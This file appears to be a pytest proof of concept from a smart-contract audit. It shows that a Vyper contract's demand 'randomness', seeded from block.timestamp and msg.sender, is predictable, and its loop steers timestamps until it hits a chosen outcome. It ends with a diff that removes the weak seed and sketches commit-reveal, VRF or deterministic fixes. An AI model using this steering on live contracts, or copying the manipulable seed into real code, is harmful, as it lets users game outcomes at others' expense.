import boa
import pytest
COMPANY_PATH = "src/Cyfrin_Hub.vy"
ENGINE_PATH  = "src/CustomerEngine.vy"
ITEM_PRICE   = 2 * 10**16  
MAX_REQUEST  = 5
MAX_COST     = ITEM_PRICE * MAX_REQUEST  
def setup_company_and_engine():
    owner = boa.env.generate_address()
    boa.env.set_balance(owner, 10**21)
    with boa.env.prank(owner):
        company = boa.load(COMPANY_PATH)
        engine  = boa.load(ENGINE_PATH)
        
        company.set_customer_engine(engine.address)
        company.fund_cyfrin(0, value=10**19)  
        company.produce(100)
    return owner, company, engine
def _requested_from_sale(company, before_balance, after_balance):
    
    
    SALE_PRICE = 2 * 10**16
    delta = after_balance - before_balance
    assert delta % SALE_PRICE == 0, "Delta not a multiple of SALE_PRICE; ensure holding cost is zero"
    return delta // SALE_PRICE
@pytest.mark.usefixtures()
def test_predictable_randomness_by_timestamp_and_sender():
    owner, company, engine = setup_company_and_engine()
    
    
    base_ts = company.last_hold_time()
    
    userA = boa.env.generate_address()
    userB = boa.env.generate_address()
    boa.env.set_balance(userA, 10**21)
    boa.env.set_balance(userB, 10**21)
    
    boa.env.set_block_timestamp(base_ts + 61)  
    beforeA = company.get_balance()
    with boa.env.prank(userA):
        engine.trigger_demand(value=MAX_COST)
    afterA = company.get_balance()
    reqA = _requested_from_sale(company, beforeA, afterA)
    
    boa.env.set_block_timestamp(base_ts + 61 + 1)  
    beforeB = company.get_balance()
    with boa.env.prank(userB):
        engine.trigger_demand(value=MAX_COST)
    afterB = company.get_balance()
    reqB = _requested_from_sale(company, beforeB, afterB)
    assert reqA != reqB, (
        "Different msg.sender values at essentially the same time produced the same demand; "
        "expected variability from seed(msg.sender, timestamp)"
    )
    
    
    target = 5
    found = False
    for i in range(1, 20):  
        ts = base_ts + 61 + i * 120  
        boa.env.set_block_timestamp(ts)
        before = company.get_balance()
        with boa.env.prank(userA):
            engine.trigger_demand(value=MAX_COST)
        after = company.get_balance()
        req = _requested_from_sale(company, before, after)
        if req == target:
            found = True
            break
    assert found, "Failed to hit target requested=5 by timestamp steering; try increasing search range."
    print(f"[PoC] Found timestamp that yields requested={target} for userA")
    
    
    
    boa.env.set_block_timestamp(base_ts + 61 + 5000)  
    beforeC = company.get_balance()
    with boa.env.prank(userA):
        engine.trigger_demand(value=MAX_COST)
    afterC = company.get_balance()
    reqC = _requested_from_sale(company, beforeC, afterC)
    assert 1 <= reqC <= MAX_REQUEST, "Demand should be within the 1..MAX_REQUEST cap"
    
- # Pseudo-random based on timestamp and sender (manipulable)
- seed: uint256 = convert(
-     keccak256(concat(convert(block.timestamp, bytes32), convert(msg.sender, bytes32))),
-     uint256,
- )
- base: uint256 = seed % 5
- if (seed % 100) < (rep - 50):  # extra_item_chance uses same seed
-     extra_item_chance = 1
- requested: uint256 = base + 1 + extra_item_chance
- requested = min(requested, MAX_REQUEST)
+ # Option A: Commit–Reveal (two-phase) — resistant to miner/user manipulation
+ # Phase 1 (user): commit(bytes32 commit_hash)
+ # Phase 2 (later): reveal(bytes32 salt) -> verify keccak256(salt, msg.sender) == commit_hash
+ # Use the *previous* block hash in the reveal phase:
+ #   seed = keccak256(concat(blockhash(block.number - 1), salt, msg.sender))
+ # Then derive requested from seed. This prevents same-tx manipulation and reduces miner control.
+ # (Requires adding commit/reveal storage + timing checks.)
+ # Option B: External randomness (VRF / beacon)
+ # Integrate a verifiable randomness oracle (e.g., VRF) to obtain an unbiased seed:
+ #   seed = vrf_randomness
+ # Then: requested = (seed % MAX_REQUEST) + 1
+ # (Be explicit about trust/cost and handle async callbacks.)
+ # Option C: Deterministic demand (no randomness)
+ # If randomness isn't essential, define demand deterministically from reputation and rate limits,
+ # removing timing games entirely.